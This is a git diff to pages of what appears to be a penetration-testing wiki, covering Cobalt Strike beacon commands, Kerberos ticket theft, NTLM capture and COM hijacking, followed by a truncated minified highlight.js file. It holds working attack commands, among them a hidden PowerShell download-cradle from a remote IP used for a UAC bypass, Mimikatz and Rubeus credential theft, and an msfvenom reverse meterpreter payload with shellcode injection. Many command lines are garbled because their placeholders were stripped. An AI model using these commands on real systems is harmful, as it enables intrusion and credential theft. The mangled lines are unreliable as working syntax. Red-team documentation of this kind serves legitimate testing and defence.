--- a/src/pentesting-web/email-injections.md
+++ b/src/pentesting-web/email-injections.md
@@ -91,11 +91,11 @@ The symbols: **+, -** and **{}** in rare occasions can be used for tagging and i
### Whitelist bypass
-
+
### Quotes
-
+
### IPs
@@ -149,7 +149,7 @@ x@xn--svg/-9x6 → x@ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
-.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs
+.\Rubeus.exe monitor /targetuser: /interval:10 #Check every 10s for new TGTs
Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**\
More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md
index 2ad645c24..56e622654 100644
--- a/src/windows-hardening/cobalt-strike.md
+++ b/src/windows-hardening/cobalt-strike.md
@@ -19,7 +19,7 @@ The beacons of these listeners don't need to talk to the C2 directly, they can c
#### Generate payloads in files
-`Attacks -> Packages ->`
+`Attacks -> Packages ->`
* **`HTMLApplication`** for HTA files
* **`MS Office Macro`** for an office document with a macro
@@ -37,7 +37,7 @@ If you already has the file you want to host in a web sever just go to `Attacks
### Beacon Options
# Execute local .NET binary
-execute-assembly </path/to/executable.exe>
+execute-assembly
# Screenshots
printscreen # Take a single screenshot via PrintScr method
@@ -56,7 +56,7 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# Import Powershell module
powershell-import C:\path\to\PowerView.ps1
-powershell <just write powershell cmd here>
+powershell
# User impersonation
## Token generation with creds
@@ -66,14 +66,14 @@ rev2self # Stop using token generated with make_token
## The use of make_token generates event 4624: An account was successfully logged on. This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type. As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
# UAC Bypass
-elevate svc-exe <listener>
-elevate uac-token-duplication <listener>
+elevate svc-exe
+elevate uac-token-duplication
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Steal token from pid
## Like make_token but stealing the token from a process
steal_token [pid] # Also, this is useful for network actions, not local actions
-## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated <current_username> - it's impersonating our own cloned token.
+## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated - it's impersonating our own cloned token.
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
rev2self # Stop using token from steal_token
@@ -91,36 +91,36 @@ pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## Pass the hash through mimikatz
-mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
+mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
-steal_token <pid> #Steal token from process created by mimikatz
+steal_token #Steal token from process created by mimikatz
## Pass the ticket
## Request a ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
+execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
-make_token <domain>\<username> DummyPass
-## Write the ticket in the attacker machine from a poweshell session & load it
+make_token \ DummyPass
+## Write the ticket in the attacker machine from a poweshell session & load it
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
## Pass the ticket from SYSTEM
## Generate a new process with the ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
+execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Steal the token from that process
-steal_token <pid>
+steal_token
## Extract ticket + Pass the ticket
### List tickets
execute-assembly C:\path\Rubeus.exe triage
### Dump insteresting ticket by luid
-execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
+execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap
### Create new logon session, note luid and processid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### Insert ticket in generate logon session
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Finally, steal the token from that new process
-steal_token <pid>
+steal_token
# Lateral Movement
## If a token was created it will be used
@@ -157,12 +157,12 @@ beacon> spawn metasploit
# Pass session to Metasploit - Through shellcode injection
## On metasploit host
-msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
+msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
## Run msfvenom and prepare the multi/handler listener
## Copy bin file to cobalt strike host
ps
-shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
+shinject x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process
# Pass metasploit session to cobalt strike
## Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md
index 98930bba2..2bf9971f5 100644
--- a/src/windows-hardening/ntlm/README.md
+++ b/src/windows-hardening/ntlm/README.md
@@ -83,7 +83,7 @@ Nowadays is becoming less common to find environments with Unconstrained Delegat
You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.\
If you are using `responder` you could try to \*\*use the flag `--lm` \*\* to try to **downgrade** the **authentication**.\
-_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._
+_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._
Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) or [https://ntlmv1.com/](https://ntlmv1.com) for example).
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index bdaac5e23..f32121647 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -506,7 +506,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
If you are having this error (for example with SSDPSRV):
_System error 1058 has occurred._\
-_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
+_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
You can enable it using
diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
index ffee84a91..e2c658848 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
@@ -10,7 +10,7 @@ As the values of HKCU can be modified by the users **COM Hijacking** could be us
- where the _Result_ is **NAME NOT FOUND**.
- and the _Path_ ends with **InprocServer32**.
-Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._
+Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
diff --git a/theme/highlight.js b/theme/highlight.js
index 18d24345b..7a0a28869 100644
--- a/theme/highlight.js
+++ b/theme/highlight.js
@@ -3,7 +3,7 @@
License: BSD-3-Clause
Copyright (c) 2006-2020, Ivan Sagalaev
*/
-var hljs=function(){"use strict";function e(n){Object.freeze(n);var t="function"==typeof n;return Object.getOwnPropertyNames(n).forEach((function(r){!Object.hasOwnProperty.call(n,r)||null===n[r]||"object"!=typeof n[r]&&"function"!=typeof n[r]||t&&("caller"===r||"callee"===r||"arguments"===r)||Object.isFrozen(n[r])||e(n[r])})),n}class n{constructor(e){void 0===e.data&&(e.data={}),this.data=e.data}ignoreMatch(){this.ignore=!0}}function t(e){return e.replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}function r(e,...n){var t={};for(const n in e)t[n]=e[n];return n.forEach((function(e){for(const n in e)t[n]=e[n]})),t}function a(e){return e.nodeName.toLowerCase()}var i=Object.freeze({__proto__:null,escapeHTML:t,inherit:r,nodeStream:function(e){var n=[];return function e(t,r){for(var i=t.firstChild;i;i=i.nextSibling)3===i.nodeType?r+=i.nodeValue.length:1===i.nodeType&&(n.push({event:"start",offset:r,node:i}),r=e(i,r),a(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:r,node:i}));return r}(e,0),n},mergeStreams:function(e,n,r){var i=0,s="",o=[];function l(){return e.length&&n.length?e[0].offset!==n[0].offset?e[0].offset"}function u(e){s+=""+a(e)+">"}function d(e){("start"===e.event?c:u)(e.node)}for(;e.length||n.length;){var g=l();if(s+=t(r.substring(i,g[0].offset)),i=g[0].offset,g===e){o.reverse().forEach(u);do{d(g.splice(0,1)[0]),g=l()}while(g===e&&g.length&&g[0].offset===i);o.reverse().forEach(c)}else"start"===g[0].event?o.push(g[0].node):o.pop(),d(g.splice(0,1)[0])}return s+t(r.substr(i))}});const s="",o=e=>!!e.kind;class l{constructor(e,n){this.buffer="",this.classPrefix=n.classPrefix,e.walk(this)}addText(e){this.buffer+=t(e)}openNode(e){if(!o(e))return;let n=e.kind;e.sublanguage||(n=`${this.classPrefix}${n}`),this.span(n)}closeNode(e){o(e)&&(this.buffer+=s)}value(){return this.buffer}span(e){this.buffer+=``}}class c{constructor(){this.rootNode={children:[]},this.stack=[this.rootNode]}get top(){return this.stack[this.stack.length-1]}get root(){return this.rootNode}add(e){this.top.children.push(e)}openNode(e){const n={kind:e,children:[]};this.add(n),this.stack.push(n)}closeNode(){if(this.stack.length>1)return this.stack.pop()}closeAllNodes(){for(;this.closeNode(););}toJSON(){return JSON.stringify(this.rootNode,null,4)}walk(e){return this.constructor._walk(e,this.rootNode)}static _walk(e,n){return"string"==typeof n?e.addText(n):n.children&&(e.openNode(n),n.children.forEach(n=>this._walk(e,n)),e.closeNode(n)),e}static _collapse(e){"string"!=typeof e&&e.children&&(e.children.every(e=>"string"==typeof e)?e.children=[e.children.join("")]:e.children.forEach(e=>{c._collapse(e)}))}}class u extends c{constructor(e){super(),this.options=e}addKeyword(e,n){""!==e&&(this.openNode(n),this.addText(e),this.closeNode())}addText(e){""!==e&&this.add(e)}addSublanguage(e,n){const t=e.root;t.kind=n,t.sublanguage=!0,this.add(t)}toHTML(){return new l(this,this.options).value()}finalize(){return!0}}function d(e){return e?"string"==typeof e?e:e.source:null}const g="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",h={begin:"\\\\[\\s\\S]",relevance:0},f={className:"string",begin:"'",end:"'",illegal:"\\n",contains:[h]},p={className:"string",begin:'"',end:'"',illegal:"\\n",contains:[h]},b={begin:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},m=function(e,n,t={}){var a=r({className:"comment",begin:e,end:n,contains:[]},t);return a.contains.push(b),a.contains.push({className:"doctag",begin:"(?:TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):",relevance:0}),a},v=m("//","$"),x=m("/\\*","\\*/"),E=m("#","$");var _=Object.freeze({__proto__:null,IDENT_RE:"[a-zA-Z]\\w*",UNDERSCORE_IDENT_RE:"[a-zA-Z_]\\w*",NUMBER_RE:"\\b\\d+(\\.\\d+)?",C_NUMBER_RE:g,BINARY_NUMBER_RE:"\\b(0b[01]+)",RE_STARTERS_RE:"!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",SHEBANG:(e={})=>{const n=/^#![ ]*\//;return e.binary&&(e.begin=function(...e){return e.map(e=>d(e)).join("")}(n,/.*\b/,e.binary,/\b.*/)),r({className:"meta",begin:n,end:/$/,relevance:0,"on:begin":(e,n)=>{0!==e.index&&n.ignoreMatch()}},e)},BACKSLASH_ESCAPE:h,APOS_STRING_MODE:f,QUOTE_STRING_MODE:p,PHRASAL_WORDS_MODE:b,COMMENT:m,C_LINE_COMMENT_MODE:v,C_BLOCK_COMMENT_MODE:x,HASH_COMMENT_MODE:E,NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?",relevance:0},C_NUMBER_MODE:{className:"number",begin:g,relevance:0},BINARY_NUMBER_MODE:{className:"number",begin:"\\b(0b[01]+)",relevance:0},CSS_NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",relevance:0},REGEXP_MODE:{begin:/(?=\/[^/\n]*\/)/,contains:[{className:"regexp",begin:/\//,end:/\/[gimuy]*/,illegal:/\n/,contains:[h,{begin:/\[/,end:/\]/,relevance:0,contains:[h]}]}]},TITLE_MODE:{className:"title",begin:"[a-zA-Z]\\w*",relevance:0},UNDERSCORE_TITLE_MODE:{className:"title",begin:"[a-zA-Z_]\\w*",relevance:0},METHOD_GUARD:{begin:"\\.\\s*[a-zA-Z_]\\w*",relevance:0},END_SAME_AS_BEGIN:function(e){return Object.assign(e,{"on:begin":(e,n)=>{n.data._beginMatch=e[1]},"on:end":(e,n)=>{n.data._beginMatch!==e[1]&&n.ignoreMatch()}})}}),N="of and for in not or if then".split(" ");function w(e,n){return n?+n:function(e){return N.includes(e.toLowerCase())}(e)?0:1}const R=t,y=r,{nodeStream:k,mergeStreams:O}=i,M=Symbol("nomatch");return function(t){var a=[],i={},s={},o=[],l=!0,c=/(^(<[^>]+>|\t|)+|\n)/gm,g="Could not find the language '{}', did you forget to load/include a language module?";const h={disableAutodetect:!0,name:"Plain text",contains:[]};var f={noHighlightRe:/^(no-?highlight)$/i,languageDetectRe:/\blang(?:uage)?-([\w-]+)\b/i,classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:null,__emitter:u};function p(e){return f.noHighlightRe.test(e)}function b(e,n,t,r){var a={code:n,language:e};S("before:highlight",a);var i=a.result?a.result:m(a.language,a.code,t,r);return i.code=a.code,S("after:highlight",i),i}function m(e,t,a,s){var o=t;function c(e,n){var t=E.case_insensitive?n[0].toLowerCase():n[0];return Object.prototype.hasOwnProperty.call(e.keywords,t)&&e.keywords[t]}function u(){null!=y.subLanguage?function(){if(""!==A){var e=null;if("string"==typeof y.subLanguage){if(!i[y.subLanguage])return void O.addText(A);e=m(y.subLanguage,A,!0,k[y.subLanguage]),k[y.subLanguage]=e.top}else e=v(A,y.subLanguage.length?y.subLanguage:null);y.relevance>0&&(I+=e.relevance),O.addSublanguage(e.emitter,e.language)}}():function(){if(!y.keywords)return void O.addText(A);let e=0;y.keywordPatternRe.lastIndex=0;let n=y.keywordPatternRe.exec(A),t="";for(;n;){t+=A.substring(e,n.index);const r=c(y,n);if(r){const[e,a]=r;O.addText(t),t="",I+=a,O.addKeyword(n[0],e)}else t+=n[0];e=y.keywordPatternRe.lastIndex,n=y.keywordPatternRe.exec(A)}t+=A.substr(e),O.addText(t)}(),A=""}function h(e){return e.className&&O.openNode(e.className),y=Object.create(e,{parent:{value:y}})}function p(e){return 0===y.matcher.regexIndex?(A+=e[0],1):(L=!0,0)}var b={};function x(t,r){var i=r&&r[0];if(A+=t,null==i)return u(),0;if("begin"===b.type&&"end"===r.type&&b.index===r.index&&""===i){if(A+=o.slice(r.index,r.index+1),!l){const n=Error("0 width match regex");throw n.languageName=e,n.badRule=b.rule,n}return 1}if(b=r,"begin"===r.type)return function(e){var t=e[0],r=e.rule;const a=new n(r),i=[r.__beforeBegin,r["on:begin"]];for(const n of i)if(n&&(n(e,a),a.ignore))return p(t);return r&&r.endSameAsBegin&&(r.endRe=RegExp(t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&"),"m")),r.skip?A+=t:(r.excludeBegin&&(A+=t),u(),r.returnBegin||r.excludeBegin||(A=t)),h(r),r.returnBegin?0:t.length}(r);if("illegal"===r.type&&!a){const e=Error('Illegal lexeme "'+i+'" for mode "'+(y.className||"")+'"');throw e.mode=y,e}if("end"===r.type){var s=function(e){var t=e[0],r=o.substr(e.index),a=function e(t,r,a){let i=function(e,n){var t=e&&e.exec(n);return t&&0===t.index}(t.endRe,a);if(i){if(t["on:end"]){const e=new n(t);t["on:end"](r,e),e.ignore&&(i=!1)}if(i){for(;t.endsParent&&t.parent;)t=t.parent;return t}}if(t.endsWithParent)return e(t.parent,r,a)}(y,e,r);if(!a)return M;var i=y;i.skip?A+=t:(i.returnEnd||i.excludeEnd||(A+=t),u(),i.excludeEnd&&(A=t));do{y.className&&O.closeNode(),y.skip||y.subLanguage||(I+=y.relevance),y=y.parent}while(y!==a.parent);return a.starts&&(a.endSameAsBegin&&(a.starts.endRe=a.endRe),h(a.starts)),i.returnEnd?0:t.length}(r);if(s!==M)return s}if("illegal"===r.type&&""===i)return 1;if(B>1e5&&B>3*r.index)throw Error("potential infinite loop, way more iterations than matches");return A+=i,i.length}var E=T(e);if(!E)throw console.error(g.replace("{}",e)),Error('Unknown language: "'+e+'"');var _=function(e){function n(n,t){return RegExp(d(n),"m"+(e.case_insensitive?"i":"")+(t?"g":""))}class t{constructor(){this.matchIndexes={},this.regexes=[],this.matchAt=1,this.position=0}addRule(e,n){n.position=this.position++,this.matchIndexes[this.matchAt]=n,this.regexes.push([n,e]),this.matchAt+=function(e){return RegExp(e.toString()+"|").exec("").length-1}(e)+1}compile(){0===this.regexes.length&&(this.exec=()=>null);const e=this.regexes.map(e=>e[1]);this.matcherRe=n(function(e,n="|"){for(var t=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./,r=0,a="",i=0;i0&&(a+=n),a+="(";o.length>0;){var l=t.exec(o);if(null==l){a+=o;break}a+=o.substring(0,l.index),o=o.substring(l.index+l[0].length),"\\"===l[0][0]&&l[1]?a+="\\"+(+l[1]+s):(a+=l[0],"("===l[0]&&r++)}a+=")"}return a}(e),!0),this.lastIndex=0}exec(e){this.matcherRe.lastIndex=this.lastIndex;const n=this.matcherRe.exec(e);if(!n)return null;const t=n.findIndex((e,n)=>n>0&&void 0!==e),r=this.matchIndexes[t];return n.splice(0,t),Object.assign(n,r)}}class a{constructor(){this.rules=[],this.multiRegexes=[],this.count=0,this.lastIndex=0,this.regexIndex=0}getMatcher(e){if(this.multiRegexes[e])return this.multiRegexes[e];const n=new t;return this.rules.slice(e).forEach(([e,t])=>n.addRule(e,t)),n.compile(),this.multiRegexes[e]=n,n}considerAll(){this.regexIndex=0}addRule(e,n){this.rules.push([e,n]),"begin"===n.type&&this.count++}exec(e){const n=this.getMatcher(this.regexIndex);n.lastIndex=this.lastIndex;const t=n.exec(e);return t&&(this.regexIndex+=t.position+1,this.regexIndex===this.count&&(this.regexIndex=0)),t}}function i(e,n){const t=e.input[e.index-1],r=e.input[e.index+e[0].length];"."!==t&&"."!==r||n.ignoreMatch()}if(e.contains&&e.contains.includes("self"))throw Error("ERR: contains `self` is not supported at the top-level of a language. See documentation.");return function t(s,o){const l=s;if(s.compiled)return l;s.compiled=!0,s.__beforeBegin=null,s.keywords=s.keywords||s.beginKeywords;let c=null;if("object"==typeof s.keywords&&(c=s.keywords.$pattern,delete s.keywords.$pattern),s.keywords&&(s.keywords=function(e,n){var t={};return"string"==typeof e?r("keyword",e):Object.keys(e).forEach((function(n){r(n,e[n])})),t;function r(e,r){n&&(r=r.toLowerCase()),r.split(" ").forEach((function(n){var r=n.split("|");t[r[0]]=[e,w(r[0],r[1])]}))}}(s.keywords,e.case_insensitive)),s.lexemes&&c)throw Error("ERR: Prefer `keywords.$pattern` to `mode.lexemes`, BOTH are not allowed. (see mode reference) ");return l.keywordPatternRe=n(s.lexemes||c||/\w+/,!0),o&&(s.beginKeywords&&(s.begin="\\b("+s.beginKeywords.split(" ").join("|")+")(?=\\b|\\s)",s.__beforeBegin=i),s.begin||(s.begin=/\B|\b/),l.beginRe=n(s.begin),s.endSameAsBegin&&(s.end=s.begin),s.end||s.endsWithParent||(s.end=/\B|\b/),s.end&&(l.endRe=n(s.end)),l.terminator_end=d(s.end)||"",s.endsWithParent&&o.terminator_end&&(l.terminator_end+=(s.end?"|":"")+o.terminator_end)),s.illegal&&(l.illegalRe=n(s.illegal)),void 0===s.relevance&&(s.relevance=1),s.contains||(s.contains=[]),s.contains=[].concat(...s.contains.map((function(e){return function(e){return e.variants&&!e.cached_variants&&(e.cached_variants=e.variants.map((function(n){return r(e,{variants:null},n)}))),e.cached_variants?e.cached_variants:function e(n){return!!n&&(n.endsWithParent||e(n.starts))}(e)?r(e,{starts:e.starts?r(e.starts):null}):Object.isFrozen(e)?r(e):e}("self"===e?s:e)}))),s.contains.forEach((function(e){t(e,l)})),s.starts&&t(s.starts,o),l.matcher=function(e){const n=new a;return e.contains.forEach(e=>n.addRule(e.begin,{rule:e,type:"begin"})),e.terminator_end&&n.addRule(e.terminator_end,{type:"end"}),e.illegal&&n.addRule(e.illegal,{type:"illegal"}),n}(l),l}(e)}(E),N="",y=s||_,k={},O=new f.__emitter(f);!function(){for(var e=[],n=y;n!==E;n=n.parent)n.className&&e.unshift(n.className);e.forEach(e=>O.openNode(e))}();var A="",I=0,S=0,B=0,L=!1;try{for(y.matcher.considerAll();;){B++,L?L=!1:(y.matcher.lastIndex=S,y.matcher.considerAll());const e=y.matcher.exec(o);if(!e)break;const n=x(o.substring(S,e.index),e);S=e.index+n}return x(o.substr(S)),O.closeAllNodes(),O.finalize(),N=O.toHTML(),{relevance:I,value:N,language:e,illegal:!1,emitter:O,top:y}}catch(n){if(n.message&&n.message.includes("Illegal"))return{illegal:!0,illegalBy:{msg:n.message,context:o.slice(S-100,S+100),mode:n.mode},sofar:N,relevance:0,value:R(o),emitter:O};if(l)return{illegal:!1,relevance:0,value:R(o),emitter:O,language:e,top:y,errorRaised:n};throw n}}function v(e,n){n=n||f.languages||Object.keys(i);var t=function(e){const n={relevance:0,emitter:new f.__emitter(f),value:R(e),illegal:!1,top:h};return n.emitter.addText(e),n}(e),r=t;return n.filter(T).filter(I).forEach((function(n){var a=m(n,e,!1);a.language=n,a.relevance>r.relevance&&(r=a),a.relevance>t.relevance&&(r=t,t=a)})),r.language&&(t.second_best=r),t}function x(e){return f.tabReplace||f.useBR?e.replace(c,e=>"\n"===e?f.useBR?" ":e:f.tabReplace?e.replace(/\t/g,f.tabReplace):e):e}function E(e){let n=null;const t=function(e){var n=e.className+" ";n+=e.parentNode?e.parentNode.className:"";const t=f.languageDetectRe.exec(n);if(t){var r=T(t[1]);return r||(console.warn(g.replace("{}",t[1])),console.warn("Falling back to no-highlight mode for this block.",e)),r?t[1]:"no-highlight"}return n.split(/\s+/).find(e=>p(e)||T(e))}(e);if(p(t))return;S("before:highlightBlock",{block:e,language:t}),f.useBR?(n=document.createElement("div")).innerHTML=e.innerHTML.replace(/\n/g,"").replace(/ /g,"\n"):n=e;const r=n.textContent,a=t?b(t,r,!0):v(r),i=k(n);if(i.length){const e=document.createElement("div");e.innerHTML=a.value,a.value=O(i,k(e),r)}a.value=x(a.value),S("after:highlightBlock",{block:e,result:a}),e.innerHTML=a.value,e.className=function(e,n,t){var r=n?s[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),e.includes(r)||a.push(r),a.join(" ").trim()}(e.className,t,a.language),e.result={language:a.language,re:a.relevance,relavance:a.relevance},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.relevance,relavance:a.second_best.relevance})}const N=()=>{if(!N.called){N.called=!0;var e=document.querySelectorAll("pre code");a.forEach.call(e,E)}};function T(e){return e=(e||"").toLowerCase(),i[e]||i[s[e]]}function A(e,{languageName:n}){"string"==typeof e&&(e=[e]),e.forEach(e=>{s[e]=n})}function I(e){var n=T(e);return n&&!n.disableAutodetect}function S(e,n){var t=e;o.forEach((function(e){e[t]&&e[t](n)}))}Object.assign(t,{highlight:b,highlightAuto:v,fixMarkup:x,highlightBlock:E,configure:function(e){f=y(f,e)},initHighlighting:N,initHighlightingOnLoad:function(){window.addEventListener("DOMContentLoaded",N,!1)},registerLanguage:function(e,n){var r=null;try{r=n(t)}catch(n){if(console.error("Language definition for '{}' could not be registered.".replace("{}",e)),!l)throw n;console.error(n),r=h}r.name||(r.name=e),i[e]=r,r.rawDefinition=n.bind(null,t),r.aliases&&A(r.aliases,{languageName:e})},listLanguages:function(){return Object.keys(i)},getLanguage:T,registerAliases:A,requireLanguage:function(e){var n=T(e);if(n)return n;throw Error("The '{}' language is required, but not loaded.".replace("{}",e))},autoDetection:I,inherit:y,addPlugin:function(e){o.push(e)}}),t.debugMode=function(){l=!1},t.safeMode=function(){l=!0},t.versionString="10.1.1";for(const n in _)"object"==typeof _[n]&&e(_[n]);return Object.assign(t,_),t}({})}();"object"==typeof exports&&"undefined"!=typeof module&&(module.exports=hljs);
+var hljs=function(){"use strict";function e(n){Object.freeze(n);var t="function"==typeof n;return Object.getOwnPropertyNames(n).forEach((function(r){!Object.hasOwnProperty.call(n,r)||null===n[r]||"object"!=typeof n[r]&&"function"!=typeof n[r]||t&&("caller"===r||"callee"===r||"arguments"===r)||Object.isFrozen(n[r])||e(n[r])})),n}class n{constructor(e){void 0===e.data&&(e.data={}),this.data=e.data}ignoreMatch(){this.ignore=!0}}function t(e){return e.replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}function r(e,...n){var t={};for(const n in e)t[n]=e[n];return n.forEach((function(e){for(const n in e)t[n]=e[n]})),t}function a(e){return e.nodeName.toLowerCase()}var i=Object.freeze({__proto__:null,escapeHTML:t,inherit:r,nodeStream:function(e){var n=[];return function e(t,r){for(var i=t.firstChild;i;i=i.nextSibling)3===i.nodeType?r+=i.nodeValue.length:1===i.nodeType&&(n.push({event:"start",offset:r,node:i}),r=e(i,r),a(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:r,node:i}));return r}(e,0),n},mergeStreams:function(e,n,r){var i=0,s="",o=[];function l(){return e.length&&n.length?e[0].offset!==n[0].offset?e[0].offset"}function u(e){s+=""+a(e)+">"}function d(e){("start"===e.event?c:u)(e.node)}for(;e.length||n.length;){var g=l();if(s+=t(r.substring(i,g[0].offset)),i=g[0].offset,g===e){o.reverse().forEach(u);do{d(g.splice(0,1)[0]),g=l()}while(g===e&&g.length&&g[0].offset===i);o.reverse().forEach(c)}else"start"===g[0].event?o.push(g[0].node):o.pop(),d(g.splice(0,1)[0])}return s+t(r.substr(i))}});const s="",o=e=>!!e.kind;class l{constructor(e,n){this.buffer="",this.classPrefix=n.classPrefix,e.walk(this)}addText(e){this.buffer+=t(e)}openNode(e){if(!o(e))return;let n=e.kind;e.sublanguage||(n=`${this.classPrefix}${n}`),this.span(n)}closeNode(e){o(e)&&(this.buffer+=s)}value(){return this.buffer}span(e){this.buffer+=``}}class c{constructor(){this.rootNode={children:[]},this.stack=[this.rootNode]}get top(){return this.stack[this.stack.length-1]}get root(){return this.rootNode}add(e){this.top.children.push(e)}openNode(e){const n={kind:e,children:[]};this.add(n),this.stack.push(n)}closeNode(){if(this.stack.length>1)return this.stack.pop()}closeAllNodes(){for(;this.closeNode(););}toJSON(){return JSON.stringify(this.rootNode,null,4)}walk(e){return this.constructor._walk(e,this.rootNode)}static _walk(e,n){return"string"==typeof n?e.addText(n):n.children&&(e.openNode(n),n.children.forEach(n=>this._walk(e,n)),e.closeNode(n)),e}static _collapse(e){"string"!=typeof e&&e.children&&(e.children.every(e=>"string"==typeof e)?e.children=[e.children.join("")]:e.children.forEach(e=>{c._collapse(e)}))}}class u extends c{constructor(e){super(),this.options=e}addKeyword(e,n){""!==e&&(this.openNode(n),this.addText(e),this.closeNode())}addText(e){""!==e&&this.add(e)}addSublanguage(e,n){const t=e.root;t.kind=n,t.sublanguage=!0,this.add(t)}toHTML(){return new l(this,this.options).value()}finalize(){return!0}}function d(e){return e?"string"==typeof e?e:e.source:null}const 